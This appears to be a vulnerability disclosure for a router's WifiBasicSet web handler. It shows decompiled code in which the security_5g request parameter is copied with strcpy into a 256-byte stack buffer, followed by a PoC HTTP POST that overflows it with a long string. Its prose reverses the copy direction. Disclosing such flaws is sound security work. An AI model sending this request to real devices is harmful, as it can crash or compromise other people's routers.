1、Stack Overflow in function `WifiBasicSet`

```
int __fastcall sub_451784(int a1, int a2)
{
  int v3; // $v0
  int v4; // $v0
  char *v5; // [sp+1Ch] [+1Ch]
  char v6[256]; // [sp+20h] [+20h] BYREF
  char v7[256]; // [sp+120h] [+120h] BYREF
  _BYTE v8[256]; // [sp+220h] [+220h] BYREF
  int v9; // [sp+320h] [+320h]
  char *v10; // [sp+324h] [+324h] BYREF

  memset(v6, 0, sizeof(v6));
  v9 = 256;
  v10 = v7;
  memset(v7, 0, sizeof(v7));
  memset(v8, 0, sizeof(v8));
  v5 = (char *)websGetVar(a1, "security_5g", "none");
  if ( !v5 )
    return 1;
  v3 = wifi_get_mibname(a2, "bss_security", v10);
  GetValue(v3, v10 + 256);
  if ( !strcmp(v5, "wpapsk") || !strcmp(v5, "wpa2psk") || !strcmp(v5, "wpawpa2psk") )
    SetValue(v10, "wpapsk");
  else
    SetValue(v10, v5);
  strcpy(v6, v5);
  v4 = wifi_get_mibname(a2, "bss_wpapsk_type", v10);
  GetValue(v4, v10 + 256);
  if ( !strcmp(v5, "wpapsk") )
  {
    SetValue(v10, "psk");
  }
  else if ( !strcmp(v5, "wpa2psk") )
  {
    SetValue(v10, "psk2");
  }
  else if ( !strcmp(v5, "wpawpa2psk") )
  {
    SetValue(v10, "psk+psk2");
  }
  set_idx_to_mib(a2, "bss_wpapsk_crypto", "aes", &v10);
  return sub_451540(a1, "wlan0.0", v6);
}
```

User control pointer v5 by parameter security_5g in web requesting; v6is an array on the stack, and using `strcpy` to copy v6 to v5 without length limit will cause stack overflow.

The function calling process:
formWifiBasicSet->sub_451DF8->sub_451BB0->sub_451784

PoC

```
POST /goform/WifiBasicSet HTTP/1.1
Host: 192.168.0.1
Content-Length: 186
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/84.0.4147.105 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/wireless_ssid.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: password=dgw1qw
Connection: close

doubleBand=0&wrlEn=1&wrlEn_5g=1&security=wpawpa2psk&security_5g=
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&ssid=Tenda_CCBAC0&ssid_5g=Tenda_CCBAC0_5G&
hideSsid=0&hideSsid_5g=0&wrlPwd=qwe123!%40%23&wrlPwd_5g=qwe123!%40%23
```